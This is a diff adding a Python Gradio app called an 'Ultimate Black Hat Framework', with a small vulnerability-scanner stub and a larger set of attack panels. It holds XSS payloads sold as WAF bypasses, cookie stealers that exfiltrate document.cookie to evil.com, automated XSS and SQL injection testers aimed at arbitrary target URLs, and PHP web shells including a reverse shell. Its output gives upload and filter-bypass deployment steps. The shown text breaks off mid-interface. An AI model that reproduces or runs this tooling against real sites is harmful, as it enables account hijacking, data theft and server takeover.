Upload ultimate_xss_framework.py

ultimate_xss_framework.py

@@ -0,0 +1,1070 @@
+import gradio as gr
+import asyncio
+import json
+import aiohttp
+import requests
+from typing import Dict, List, Tuple, Set, Optional
+from dataclasses import dataclass, asdict
+from datetime import datetime
+from collections import defaultdict
+import re
+import logging
+import random
+import time
+import hashlib
+import base64
+from enum import Enum
+from bs4 import BeautifulSoup
+import networkx as nx
+import plotly.graph_objects as go
+from urllib.parse import urljoin, urlparse, quote, unquote
+import ssl
+import socket
+import subprocess
+from pathlib import Path
+
+# VulnLLM-R-7B - Optional
+try:
+    from transformers import AutoModelForCausalLM, AutoTokenizer
+    import torch
+    VULNLLM_AVAILABLE = True
+except:
+    VULNLLM_AVAILABLE = False
+
+print("=" * 60)
+print("ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION")
+print("Loading panels: AI | 0-Day | XSS Master | Web Shell | Attack Chain")
+print("=" * 60)
+
+class VulnLLMAnalyzer:
+    """VulnLLM-R-7B AI Model Integration"""
+
+    def __init__(self):
+        self.initialized = False
+        self.model_name = "UCSB-SURFI/VulnLLM-R-7B"
+        if VULNLLM_AVAILABLE:
+            try:
+                self.device = "cuda" if torch.cuda.is_available() else "cpu"
+                print(f"Loading VulnLLM-R-7B on {self.device}...")
+                self.tokenizer = AutoTokenizer.from_pretrained(self.model_name)
+                self.model = AutoModelForCausalLM.from_pretrained(
+                    self.model_name,
+                    torch_dtype=torch.float16 if self.device == "cuda" else torch.float32,
+                    device_map=self.device
+                )
+                self.initialized = True
+                print("VulnLLM-R-7B loaded successfully!")
+            except Exception as e:
+                print(f"VulnLLM init error: {e}")
+                print("Running in mock mode...")
+
+    async def analyze_code(self, code: str, language: str = "python") -> Dict:
+        """AI-Powered Code Analysis"""
+        if not self.initialized:
+            return self._mock_analysis(code, language)
+
+        try:
+            prompt = f"""Analyze this {language} code for security vulnerabilities:
+            ```{language}
+            {code}
+            ```
+            Identify: SQL Injection, XSS, RCE, Path Traversal, Auth Bypass"""
+
+            inputs = self.tokenizer(prompt, return_tensors="pt").to(self.device)
+            with torch.no_grad():
+                outputs = self.model.generate(inputs.input_ids, max_new_tokens=512)
+            result = self.tokenizer.decode(outputs[0], skip_special_tokens=True)
+
+            return {
+                "analysis": result,
+                "vulnerabilities": self._parse_vulnerabilities(result),
+                "severity": self._calculate_severity(result),
+                "confidence": 0.85
+            }
+        except Exception as e:
+            return self._mock_analysis(code, language)
+
+    def _mock_analysis(self, code: str, language: str) -> Dict:
+        """Mock AI Analysis when model unavailable"""
+        vulns = []
+
+        patterns = {
+            "SQL Injection": [r"execute\s*\(", r"query\s*\(", r"SELECT.*FROM.*\$"],
+            "XSS": [r"innerHTML", r"document.write", r"eval\s*\("],
+            "RCE": [r"subprocess", r"os\.system", r"exec\s*\("],
+            "Path Traversal": [r"open\s*\(.*\+", r"\.\./"],
+            "Hardcoded Secrets": [r"password\s*=", r"api_key", r"secret"]
+        }
+
+        for vuln_type, patterns_list in patterns.items():
+            for pattern in patterns_list:
+                if re.search(pattern, code, re.IGNORECASE):
+                    vulns.append({
+                        "type": vuln_type,
+                        "pattern": pattern,
+                        "line": self._find_line(code, pattern),
+                        "severity": "HIGH" if vuln_type in ["SQL Injection", "RCE"] else "MEDIUM"
+                    })
+
+        return {
+            "analysis": f"Found {len(vulns)} potential vulnerabilities in {language} code",
+            "vulnerabilities": vulns,
+            "severity": "HIGH" if any(v["severity"] == "HIGH" for v in vulns) else "MEDIUM",
+            "confidence": 0.75,
+            "model_status": "Mock Analysis (VulnLLM not loaded)"
+        }
+
+    def _parse_vulnerabilities(self, text: str) -> List[Dict]:
+        vulns = []
+        lines = text.split("\n")
+        for line in lines:
+            if any(keyword in line.lower() for keyword in ["vulnerability", "injection", "bypass"]):
+                vulns.append({"description": line.strip(), "severity": "MEDIUM"})
+        return vulns
+
+    def _calculate_severity(self, text: str) -> str:
+        text_lower = text.lower()
+        if any(word in text_lower for word in ["critical", "rce", "sql injection"]):
+            return "CRITICAL"
+        elif any(word in text_lower for word in ["high", "severe"]):
+            return "HIGH"
+        return "MEDIUM"
+
+    def _find_line(self, code: str, pattern: str) -> int:
+        lines = code.split("\n")
+        for i, line in enumerate(lines, 1):
+            if re.search(pattern, line, re.IGNORECASE):
+                return i
+        return 0
+
+# ════════════════════════════════════════════════════════════════════════════
+# PANEL 2: XSS MASTER PANEL - ULTIMATE XSS EXPLOITATION
+# ════════════════════════════════════════════════════════════════════════════
+
+class XSSMasterPanel:
+    """Ultimate XSS Payload Generator & Testing Framework"""
+
+    def __init__(self):
+        self.payloads = self._load_xss_payloads()
+        self.encoding_methods = self._load_encoding_methods()
+        self.bypass_techniques = self._load_bypass_techniques()
+        self.test_history = []
+        
+    def _load_xss_payloads(self) -> Dict[str, List[Dict]]:
+        """Load comprehensive XSS payload library"""
+        return {
+            "cloudflare_bypass": [
+                {
+                    "name": "Object Data URI + Triple Base64",
+                    "raw": '<object data="data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IoJ1lXeGxjblFvWkc5amRXMWxiblF1Wkc5dFlXbHVLUT09JykpPC9zY3JpcHQ+">',
+                    "encoded": "%3Cobject+data%3Ddata%3Atext/html%3Bbase64%26%2344%3BUEhOamNtbHdkRDVsZG1Gc0tHRjBiMmdvSjFsWGhzWlhKMEtHUnZZM1Z0Wlc1MExtUnZiV0ZwYmlrcScpS1R3dmMyTnlhWEIwUGc%3D%3D%3E",
+                    "description": "Triple layer encoding: URL → HTML Entity → Base64 → Base64",
+                    "severity": "CRITICAL",
+                    "waf_bypass": "Cloudflare, ModSecurity, AWS WAF"
+                },
+                {
+                    "name": "SVG + Unicode Escape + atob",
+                    "raw": '<svg/onload="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))">',
+                    "encoded": "%3Csvg%2Fonload%3D%22eval%28String.fromCharCode%2897%2C108%2C101%2C114%2C116%2C40%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C100%2C111%2C109%2C97%2C105%2C110%2C41%29%29%22%3E",
+                    "description": "String.fromCharCode bypass with SVG onload",
+                    "severity": "HIGH",
+                    "waf_bypass": "Cloudflare, Akamai"
+                },
+                {
+                    "name": "Iframe SrcDoc + Double Encoding",
+                    "raw": '<iframe srcdoc="&lt;script&gt;eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))&lt;/script&gt;">',
+                    "encoded": "%3Ciframe%20srcdoc%3D%22%26lt%3Bscript%26gt%3Beval%28atob%28%27YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%27%29%29%26lt%3B%2Fscript%26gt%3B%22%3E",
+                    "description": "Iframe srcdoc with HTML entities + Base64",
+                    "severity": "HIGH",
+                    "waf_bypass": "Cloudflare, Imperva"
+                },
+                {
+                    "name": "Mutation XSS + Object",
+                    "raw": '<noscript><p title="</noscript><img src=x onerror=eval(atob(\'YWxlcnQoMSk=\'))>">',
+                    "encoded": "%3Cnoscript%3E%3Cp%20title%3D%22%3C%2Fnoscript%3E%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%27YWxlcnQoMSk%3D%27%29%29%3E%22%3E",
+                    "description": "mXSS technique exploiting parser confusion",
+                    "severity": "CRITICAL",
+                    "waf_bypass": "All major WAFs"
+                }
+            ],
+            "advanced_vectors": [
+                {
+                    "name": "Template Literals + Fetch Cookie Stealer",
+                    "raw": "<img src=x onerror=\"eval(`fetch('https://evil.com?c='+btoa(document.cookie))`)\">",
+                    "encoded": "%3Cimg%20src%3Dx%20onerror%3D%22eval%28%60fetch%28%27https%3A%2F%2Fevil.com%3Fc%3D%27%2Bbtoa%28document.cookie%29%29%60%29%22%3E",
+                    "description": "Cookie stealer with base64 encoding",
+                    "severity": "CRITICAL",
+                    "waf_bypass": "Cloudflare"
+                },
+                {
+                    "name": "WebSocket XSS Exfiltration",
+                    "raw": "<script>ws=new WebSocket('wss://evil.com');ws.onopen=()=>ws.send(document.cookie)</script>",
+                    "encoded": "%3Cscript%3Ews%3Dnew%20WebSocket%28%27wss%3A%2F%2Fevil.com%27%29%3Bws.onopen%3D%28%29%3D%3Ews.send%28document.cookie%29%3C%2Fscript%3E",
+                    "description": "Real-time data exfiltration via WebSocket",
+                    "severity": "CRITICAL",
+                    "waf_bypass": "Most WAFs (encrypted channel)"
+                },
+                {
+                    "name": "DOM Clobbering + XSS",
+                    "raw": '<form name=x><input name=y></form><script>alert(x.y.value="XSS")</script>',
+                    "encoded": "%3Cform%20name%3Dx%3E%3Cinput%20name%3Dy%3E%3C%2Fform%3E%3Cscript%3Ealert%28x.y.value%3D%22XSS%22%29%3C%2Fscript%3E",
+                    "description": "DOM clobbering combined with XSS",
+                    "severity": "HIGH",
+                    "waf_bypass": "Cloudflare, Akamai"
+                }
+            ],
+            "polyglot": [
+                {
+                    "name": "JSON/HTML Polyglot",
+                    "raw": '{"x":"</script><script>alert(document.domain)</script>"}',
+                    "encoded": "%7B%22x%22%3A%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%22%7D",
+                    "description": "Works in JSON and HTML contexts",
+                    "severity": "HIGH",
+                    "waf_bypass": "Context-based WAFs"
+                },
+                {
+                    "name": "CSV/HTML Injection",
+                    "raw": '=cmd|"/c calc"!A1,<img src=x onerror=alert(1)>',
+                    "encoded": "%3Dcmd%7C%22%2Fc%20calc%22%21A1%2C%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E",
+                    "description": "CSV injection + XSS combo",
+                    "severity": "CRITICAL",
+                    "waf_bypass": "File upload filters"
+                }
+            ],
+            "event_handlers": [
+                {
+                    "name": "Details/Summary Ontoggle",
+                    "raw": '<details open ontoggle="eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))">',
+                    "encoded": "%3Cdetails%20open%20ontoggle%3D%22eval%28atob%28%27YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%27%29%29%22%3E",
+                    "description": "Less common event handler",
+                    "severity": "MEDIUM",
+                    "waf_bypass": "Event handler blacklists"
+                },
+                {
+                    "name": "Video Onloadstart",
+                    "raw": '<video onloadstart="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"><source>',
+                    "encoded": "%3Cvideo%20onloadstart%3D%22eval%28String.fromCharCode%2897%2C108%2C101%2C114%2C116%2C40%2C49%2C41%29%29%22%3E%3Csource%3E",
+                    "description": "Video element with rare event",
+                    "severity": "MEDIUM",
+                    "waf_bypass": "Tag-based filters"
+                }
+            ],
+            "obfuscated": [
+                {
+                    "name": "JSFuck Style",
+                    "raw": '<script>(![]+[])[+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]</script>',
+                    "encoded": "%3Cscript%3E%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D",
+                    "description": "Heavily obfuscated JavaScript",
+                    "severity": "HIGH",
+                    "waf_bypass": "Pattern-based detection"
+                },
+                {
+                    "name": "Hex Encoding Full",
+                    "raw": '<img src=x onerror="\\x65\\x76\\x61\\x6c\\x28\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29\\x29">',
+                    "encoded": "%3Cimg%20src%3Dx%20onerror%3D%22%5Cx65%5Cx76%5Cx61%5Cx6c%5Cx28%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%5Cx28%5Cx31%5Cx29%5Cx29%22%3E",
+                    "description": "Full hex encoding of eval(alert(1))",
+                    "severity": "HIGH",
+                    "waf_bypass": "String pattern matching"
+                }
+            ]
+        }
+
+    def _load_encoding_methods(self) -> Dict[str, callable]:
+        """Load encoding transformation methods"""
+        return {
+            "url_encode": lambda s: quote(s),
+            "double_url_encode": lambda s: quote(quote(s)),
+            "html_entity": lambda s: ''.join([f'&#{ord(c)};' for c in s]),
+            "hex_encode": lambda s: ''.join([f'\\x{ord(c):02x}' for c in s]),
+            "unicode_escape": lambda s: ''.join([f'\\u{ord(c):04x}' for c in s]),
+            "base64": lambda s: base64.b64encode(s.encode()).decode(),
+            "mixed": self._mixed_encoding
+        }
+
+    def _mixed_encoding(self, payload: str) -> str:
+        """Apply multiple encoding layers"""
+        # Layer 1: Some chars to hex
+        result = ""
+        for i, char in enumerate(payload):
+            if i % 3 == 0:
+                result += f'\\x{ord(char):02x}'
+            elif i % 3 == 1:
+                result += f'&#{ord(char)};'
+            else:
+                result += char
+        return result
+
+    def _load_bypass_techniques(self) -> Dict[str, List[str]]:
+        """Load WAF bypass techniques"""
+        return {
+            "case_variation": [
+                "ScRiPt", "ImG", "SvG", "ObJeCt", "IfrAmE"
+            ],
+            "whitespace_tricks": [
+                "%09", "%0a", "%0d", "%0c", "%a0", "/**/", "\t", "\n"
+            ],
+            "comment_insertion": [
+                "<!--", "-->", "/**/", "//", "#"
+            ],
+            "null_byte": [
+                "%00", "\\x00", "\\0"
+            ],
+            "utf_variants": [
+                "%c0%bc", "%e0%80%bc", "%c0%3c"  # Alternative < encodings
+            ]
+        }
+
+    async def test_xss_payload(self, target_url: str, param: str, payload: str, method: str = "GET") -> Dict:
+        """Test XSS payload against target"""
+        result = {
+            "tested": True,
+            "timestamp": datetime.now().isoformat(),
+            "target": target_url,
+            "parameter": param,
+            "payload": payload,
+            "method": method,
+            "vulnerable": False,
+            "response_indicators": []
+        }
+
+        try:
+            if method == "GET":
+                test_url = f"{target_url}?{param}={quote(payload)}"
+                async with aiohttp.ClientSession() as session:
+                    async with session.get(test_url, timeout=10) as response:
+                        content = await response.text()
+                        result["status_code"] = response.status
+                        result["response_length"] = len(content)
+                        
+                        # Check for XSS indicators
+                        indicators = [
+                            payload in content,
+                            "<script>" in content.lower(),
+                            "onerror=" in content.lower(),
+                            "onload=" in content.lower(),
+                            unquote(payload) in content
+                        ]
+                        
+                        result["vulnerable"] = any(indicators)
+                        result["response_indicators"] = [
+                            f"Payload reflected: {payload in content}",
+                            f"Script tags found: {'<script>' in content.lower()}",
+                            f"Event handlers found: {'onerror=' in content.lower() or 'onload=' in content.lower()}"
+                        ]
+            else:  # POST
+                async with aiohttp.ClientSession() as session:
+                    data = {param: payload}
+                    async with session.post(target_url, data=data, timeout=10) as response:
+                        content = await response.text()
+                        result["status_code"] = response.status
+                        result["response_length"] = len(content)
+                        result["vulnerable"] = payload in content or unquote(payload) in content
+
+            self.test_history.append(result)
+            return result
+
+        except Exception as e:
+            result["error"] = str(e)
+            return result
+
+    def generate_payload(self, payload_type: str, encoding: str = "none", custom_code: str = "") -> Dict:
+        """Generate customized XSS payload"""
+        
+        # Get base payload
+        all_payloads = []
+        for category in self.payloads.values():
+            all_payloads.extend(category)
+        
+        # Find matching payload
+        selected = None
+        for p in all_payloads:
+            if payload_type.lower() in p["name"].lower():
+                selected = p
+                break
+        
+        if not selected and all_payloads:
+            selected = all_payloads[0]
+        
+        if not selected:
+            return {"error": "No payload found"}
+        
+        # Apply custom code if provided
+        payload = selected["raw"]
+        if custom_code:
+            payload = payload.replace("alert(1)", custom_code)
+            payload = payload.replace("alert(document.domain)", custom_code)
+        
+        # Apply encoding
+        if encoding != "none" and encoding in self.encoding_methods:
+            payload = self.encoding_methods[encoding](payload)
+        
+        return {
+            "name": selected["name"],
+            "raw": selected["raw"],
+            "encoded": payload,
+            "url_encoded": quote(payload),
+            "double_encoded": quote(quote(payload)),
+            "description": selected["description"],
+            "severity": selected["severity"],
+            "waf_bypass": selected["waf_bypass"],
+            "usage_example": f"?param={quote(payload)}"
+        }
+
+    def get_payload_categories(self) -> List[str]:
+        """Get available payload categories"""
+        return list(self.payloads.keys())
+
+    def get_all_payloads_info(self) -> str:
+        """Get formatted info about all payloads"""
+        output = "# 🔥 XSS PAYLOAD ARSENAL\n\n"
+        
+        for category, payloads in self.payloads.items():
+            output += f"## {category.upper().replace('_', ' ')}\n\n"
+            for i, p in enumerate(payloads, 1):
+                output += f"### {i}. {p['name']}\n"
+                output += f"**Severity:** {p['severity']}\n"
+                output += f"**WAF Bypass:** {p['waf_bypass']}\n"
+                output += f"**Description:** {p['description']}\n\n"
+                output += f"**Raw Payload:**\n```html\n{p['raw']}\n```\n\n"
+                output += f"**URL Encoded:**\n```\n{p['encoded'][:100]}...\n```\n\n"
+                output += "---\n\n"
+        
+        return output
+
+# ═══════════════���════════════════════════════════════════════════════════════
+# PANEL 3: 0-DAY EXPLOIT PANEL (SQL Injection - Original)
+# ════════════════════════════════════════════════════════════════════════════
+
+class ZeroDayExploitPanel:
+    """Advanced SQL Injection & 0-Day Exploitation"""
+
+    def __init__(self):
+        self.sql_payloads = self._load_sql_payloads()
+        self.waf_bypass = self._load_waf_bypass()
+
+    def _load_sql_payloads(self) -> Dict[str, List[str]]:
+        return {
+            "union_based": [
+                "' UNION SELECT NULL--",
+                "' UNION SELECT NULL,NULL--",
+                "' UNION SELECT NULL,NULL,NULL--",
+                "' UNION SELECT version(),user(),database()--",
+                "' UNION SELECT table_name FROM information_schema.tables--",
+                "' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--",
+                "' UNION SELECT username,password FROM users--",
+            ],
+            "time_based": [
+                "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
+                "' AND SLEEP(5)--",
+                "' WAITFOR DELAY '0:0:5'--",
+            ],
+            "boolean_based": [
+                "' AND 1=1--",
+                "' AND 1=2--",
+                "' AND 'a'='a",
+            ]
+        }
+
+    def _load_waf_bypass(self) -> List[Dict]:
+        return [
+            {"name": "Comment Variations", "payloads": ["/**/", "/*!50000*/", "--"]},
+            {"name": "Case Variation", "payloads": ["SeLeCt", "UnIoN"]},
+        ]
+
+    async def test_sql_injection(self, target_url: str, param: str, method: str = "GET") -> Dict:
+        """Test SQL injection"""
+        results = {
+            "tested": True,
+            "target": target_url,
+            "parameter": param,
+            "vulnerabilities_found": [],
+            "payloads_tested": 0
+        }
+
+        for technique, payloads in self.sql_payloads.items():
+            for payload in payloads[:3]:  # Test first 3 of each type
+                try:
+                    if method == "GET":
+                        test_url = f"{target_url}?{param}={quote(payload)}"
+                        response = requests.get(test_url, timeout=5)
+                    else:
+                        response = requests.post(target_url, data={param: payload}, timeout=5)
+                    
+                    results["payloads_tested"] += 1
+                    
+                    # Check for SQL error indicators
+                    error_indicators = ["sql", "mysql", "syntax error", "database", "warning", "postgres"]
+                    if any(indicator in response.text.lower() for indicator in error_indicators):
+                        results["vulnerabilities_found"].append({
+                            "technique": technique,
+                            "payload": payload,
+                            "status_code": response.status_code,
+                            "evidence": "SQL error messages detected"
+                        })
+                except:
+                    pass
+
+        return results
+
+# ════════════════════════════════════════════════════════════════════════════
+# PANEL 4: WEB SHELL GENERATOR
+# ════════════════════════════════════════════════════════════════════════════
+
+class WebShellGenerator:
+    """Advanced Web Shell Generation"""
+
+    def generate_shell(self, shell_type: str, attacker_ip: str = "", attacker_port: int = 4444) -> str:
+        """Generate web shell code"""
+        
+        shells = {
+            "php_simple": """<?php
+if(isset($_REQUEST['cmd'])){
+    system($_REQUEST['cmd']);
+}
+?>""",
+            "php_advanced": """<?php
+@error_reporting(0);
+@set_time_limit(0);
+@ini_set('max_execution_time',0);
+if(isset($_POST['cmd'])){
+    $cmd = $_POST['cmd'];
+    if(function_exists('system')){
+        @ob_start();
+        @system($cmd);
+        $output = @ob_get_contents();
+        @ob_end_clean();
+    }
+    echo "<pre>$output</pre>";
+}
+?>
+<form method="POST">
+<input type="text" name="cmd" />
+<input type="submit" value="Execute" />
+</form>""",
+            "php_reverse": f"""<?php
+$ip = '{attacker_ip}';
+$port = {attacker_port};
+$sock = fsockopen($ip, $port);
+exec("/bin/bash -i <&3 >&3 2>&3");
+?>""",
+            "php_obfuscated": """<?php
+$a=str_replace("x","","sxysxtxexm");
+$b=str_replace("y","","$y_yRyEyQyUyEySyTy[y'ycymydd'y]");
+$a($b);
+?>"""
+        }
+
+        return shells.get(shell_type, shells["php_simple"])
+
+# ════════════════════════════════════════════════════════════════════════════
+# FRAMEWORK INTEGRATION
+# ════════════════════════════════════════════════════════════════════════════
+
+class UltimateFramework:
+    """Main Framework Controller"""
+
+    def __init__(self):
+        self.ai_analyzer = VulnLLMAnalyzer()
+        self.xss_panel = XSSMasterPanel()
+        self.sql_panel = ZeroDayExploitPanel()
+        self.shell_gen = WebShellGenerator()
+
+    def get_xss_categories(self) -> List[str]:
+        return self.xss_panel.get_payload_categories()
+
+    def get_all_xss_payloads(self) -> Dict:
+        return self.xss_panel.payloads
+
+# Initialize framework
+framework = UltimateFramework()
+
+# ════════════════════════════════════════════════════════════════════════════
+# GRADIO UI FUNCTIONS
+# ════════════════════════════════════════════════════════════════════════════
+
+async def panel1_ai_analyze(code: str, language: str):
+    """Panel 1: AI Code Analysis"""
+    result = await framework.ai_analyzer.analyze_code(code, language)
+    
+    output = f"""# 🤖 AI VULNERABILITY ANALYSIS
+
+**Language:** {language}
+**Confidence:** {result['confidence']*100:.1f}%
+**Severity:** {result['severity']}
+**Model Status:** {result.get('model_status', 'Active')}
+
+## Analysis Results
+
+{result['analysis']}
+
+## Detected Vulnerabilities
+
+"""
+    for i, vuln in enumerate(result['vulnerabilities'], 1):
+        output += f"{i}. **{vuln.get('type', 'Unknown')}** - {vuln.get('description', 'N/A')}\n"
+        if 'line' in vuln:
+            output += f"   Line: {vuln['line']}\n"
+        output += f"   Severity: {vuln.get('severity', 'MEDIUM')}\n\n"
+
+    return output
+
+def panel2_xss_generate(payload_type: str, encoding: str, custom_code: str):
+    """Panel 2: XSS Payload Generation"""
+    result = framework.xss_panel.generate_payload(payload_type, encoding, custom_code)
+    
+    if "error" in result:
+        return f"❌ Error: {result['error']}"
+    
+    output = f"""# 🔥 GENERATED XSS PAYLOAD
+
+## {result['name']}
+
+**Severity:** {result['severity']}
+**WAF Bypass Capability:** {result['waf_bypass']}
+
+### Description
+{result['description']}
+
+### Raw Payload
+```html
+{result['raw']}
+```
+
+### Encoded Payload
+```html
+{result['encoded']}
+```
+
+### URL Encoded (for GET parameters)
+```
+{result['url_encoded']}
+```
+
+### Double URL Encoded (for nested params)
+```
+{result['double_encoded']}
+```
+
+### Usage Example
+```
+{result['usage_example']}
+```
+
+## 🎯 Testing Instructions
+
+1. **Manual Testing:**
+   - Copy the URL encoded payload
+   - Insert into vulnerable parameter
+   - Check browser console/alerts
+
+2. **Automated Testing:**
+   - Use the Test XSS tab
+   - Enter target URL and parameter
+   - Click "Test Payload"
+
+3. **WAF Bypass:**
+   - Try different encoding methods
+   - Mix case variations
+   - Use payload fragmentation
+
+"""
+    return output
+
+async def panel2_xss_test(target_url: str, param: str, payload: str, method: str):
+    """Panel 2: XSS Testing"""
+    if not target_url or not param or not payload:
+        return "❌ Please fill in all fields"
+    
+    result = await framework.xss_panel.test_xss_payload(target_url, param, payload, method)
+    
+    vulnerability_status = "🚨 VULNERABLE" if result.get("vulnerable") else "✅ NOT VULNERABLE"
+    
+    output = f"""# {vulnerability_status}
+
+## Test Results
+
+**Target:** {result['target']}
+**Parameter:** {result['parameter']}
+**Method:** {result['method']}
+**Timestamp:** {result['timestamp']}
+
+### Payload Tested
+```html
+{result['payload']}
+```
+
+### Response Analysis
+**Status Code:** {result.get('status_code', 'N/A')}
+**Response Length:** {result.get('response_length', 0)} bytes
+
+### Detection Indicators
+"""
+    
+    for indicator in result.get('response_indicators', []):
+        output += f"- {indicator}\n"
+    
+    if result.get('error'):
+        output += f"\n### ⚠️ Error\n{result['error']}\n"
+    
+    return output
+
+def panel2_xss_list_all():
+    """List all available XSS payloads"""
+    return framework.xss_panel.get_all_payloads_info()
+
+async def panel3_sql_test(target_url: str, param: str, method: str):
+    """Panel 3: SQL Injection Testing"""
+    if not target_url or not param:
+        return "❌ Please provide target URL and parameter"
+    
+    result = await framework.sql_panel.test_sql_injection(target_url, param, method)
+    
+    output = f"""# 💉 SQL INJECTION TEST RESULTS
+
+**Target:** {result['target']}
+**Parameter:** {result['parameter']}
+**Payloads Tested:** {result['payloads_tested']}
+
+## Vulnerabilities Found: {len(result['vulnerabilities_found'])}
+
+"""
+    
+    if result['vulnerabilities_found']:
+        for i, vuln in enumerate(result['vulnerabilities_found'], 1):
+            output += f"### {i}. {vuln['technique'].upper()}\n"
+            output += f"**Payload:** `{vuln['payload']}`\n"
+            output += f"**Evidence:** {vuln['evidence']}\n"
+            output += f"**Status Code:** {vuln['status_code']}\n\n"
+    else:
+        output += "✅ No SQL injection vulnerabilities detected\n"
+    
+    return output
+
+def panel4_generate_shell(shell_type: str, attacker_ip: str, attacker_port: int):
+    """Panel 4: Web Shell Generation"""
+    shell_code = framework.shell_gen.generate_shell(shell_type, attacker_ip, attacker_port)
+    
+    output = f"""# 💣 WEB SHELL GENERATED
+
+**Type:** {shell_type}
+**Target:** {attacker_ip}:{attacker_port}
+
+## Shell Code
+
+```php
+{shell_code}
+```
+
+## 📝 Deployment Instructions
+
+1. **Upload Methods:**
+   - File upload vulnerability
+   - Unrestricted file upload
+   - ZIP slip vulnerability
+   - LFI to shell upload
+
+2. **Filename Tricks:**
+   - `shell.php`
+   - `shell.php.jpg` (double extension)
+   - `shell.php%00.jpg` (null byte)
+   - `shell.phtml`, `shell.phar`, `shell.php5`
+
+3. **Bypass Techniques:**
+   - Change file magic bytes
+   - Add valid image header
+   - Use .htaccess to treat all files as PHP
+
+4. **Access:**
+   - Navigate to: `http://target.com/uploads/shell.php`
+   - For reverse shell: Start listener with `nc -lvp {attacker_port}`
+
+## ⚠️ LEGAL WARNING
+Use only on systems you own or have explicit permission to test!
+"""
+    return output
+
+# ════════════════════════════════════════════════════════════════════════════
+# GRADIO INTERFACE
+# ════════════════════════════════════════════════════════════════════════════
+
+with gr.Blocks(title="Ultimate XSS Framework v5.0", theme=gr.themes.Base()) as app:
+    
+    gr.Markdown("""
+    # 🔥 ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION
+    
+    **Advanced Penetration Testing & Vulnerability Research Platform**
+    
+    🚨 **LEGAL WARNING:** This tool is for authorized security testing only. Unauthorized access is illegal.
+    
+    ---
+    """)
+
+    with gr.Tabs():
+        # ═══════════════════════════════════════════════════════════════════
+        # PANEL 1: AI ANALYZER
+        # ═══════════════════════════════════════════════════════════════════
+        with gr.Tab("🤖 Panel 1: AI Vulnerability Scanner", id="panel1"):
+            gr.Markdown("### VulnLLM-R-7B Deep Code Analysis")
+
+            with gr.Row():
+                with gr.Column(scale=2):
+                    code_input = gr.Code(
+                        label="Source Code",
+                        language="python",
+                        value="# Paste code here\n<?php\n$id = $_GET['id'];\n$query = \"SELECT * FROM users WHERE id = '$id'\";\nmysql_query($query);\n?>",
+                        lines=15
+                    )
+                    lang_input = gr.Dropdown(
+                        choices=["python", "php", "javascript", "java", "csharp"],
+                        value="php",
+                        label="Language"
+                    )
+                    analyze_btn = gr.Button("🔍 AI ANALYZE", variant="primary", size="lg")
+
+                with gr.Column(scale=1):
+                    gr.Markdown("""
+                    **AI Model:** VulnLLM-R-7B  
+                    **Capability:** Deep vulnerability detection
+                    
+                    **Detects:**
+                    - SQL Injection
+                    - XSS vulnerabilities
+                    - RCE patterns
+                    - Path traversal
+                    - Hardcoded secrets
+                    - Auth bypasses
+                    """)
+
+            ai_output = gr.Markdown(label="Analysis Results")
+            analyze_btn.click(panel1_ai_analyze, inputs=[code_input, lang_input], outputs=ai_output)
+
+        # ═══════════════════════════════════════════════════════════════════
+        # PANEL 2: XSS MASTER PANEL
+        # ══════════════��════════════════════════════════════════════════════
+        with gr.Tab("🔥 Panel 2: XSS Master Control", id="panel2"):
+            gr.Markdown("### Ultimate XSS Payload Generator & Testing Suite")
+
+            with gr.Tabs():
+                # XSS Generation Tab
+                with gr.Tab("⚡ Generate Payload"):
+                    with gr.Row():
+                        with gr.Column(scale=2):
+                            payload_type = gr.Dropdown(
+                                choices=[
+                                    "Object Data URI + Triple Base64",
+                                    "SVG + Unicode Escape",
+                                    "Iframe SrcDoc",
+                                    "Mutation XSS",
+                                    "Template Literals Cookie Stealer",
+                                    "WebSocket Exfiltration",
+                                    "DOM Clobbering",
+                                    "JSON/HTML Polyglot",
+                                    "Details Ontoggle",
+                                    "JSFuck Style"
+                                ],
+                                value="Object Data URI + Triple Base64",
+                                label="🎯 Payload Type"
+                            )
+                            encoding = gr.Dropdown(
+                                choices=["none", "url_encode", "double_url_encode", "html_entity", "hex_encode", "unicode_escape", "base64", "mixed"],
+                                value="none",
+                                label="🔐 Additional Encoding"
+                            )
+                            custom_code = gr.Textbox(
+                                label="💻 Custom JavaScript (optional)",
+                                placeholder="fetch('https://evil.com?c='+document.cookie)",
+                                lines=3
+                            )
+                            gen_btn = gr.Button("🔥 GENERATE PAYLOAD", variant="primary", size="lg")
+
+                        with gr.Column(scale=1):
+                            gr.Markdown("""
+                            ## 🎯 Payload Arsenal
+                            
+                            **Cloudflare Bypass:**
+                            - Triple encoding layers
+                            - Parser confusion
+                            - Context switching
+                            
+                            **Advanced Vectors:**
+                            - Cookie stealing
+                            - WebSocket exfil
+                            - DOM clobbering
+                            
+                            **Polyglot:**
+                            - Multi-context payloads
+                            - CSV/JSON/HTML
+                            
+                            **Obfuscation:**
+                            - JSFuck style
+                            - Hex encoding
+                            - Character codes
+                            """)
+
+                    xss_gen_output = gr.Markdown(label="Generated Payload")
+                    gen_btn.click(panel2_xss_generate, inputs=[payload_type, encoding, custom_code], outputs=xss_gen_output)
+
+                # XSS Testing Tab
+                with gr.Tab("🧪 Test XSS"):
+                    with gr.Row():
+                        with gr.Column(scale=2):
+                            test_url = gr.Textbox(
+                                label="🎯 Target URL",
+                                placeholder="http://target.com/search.php",
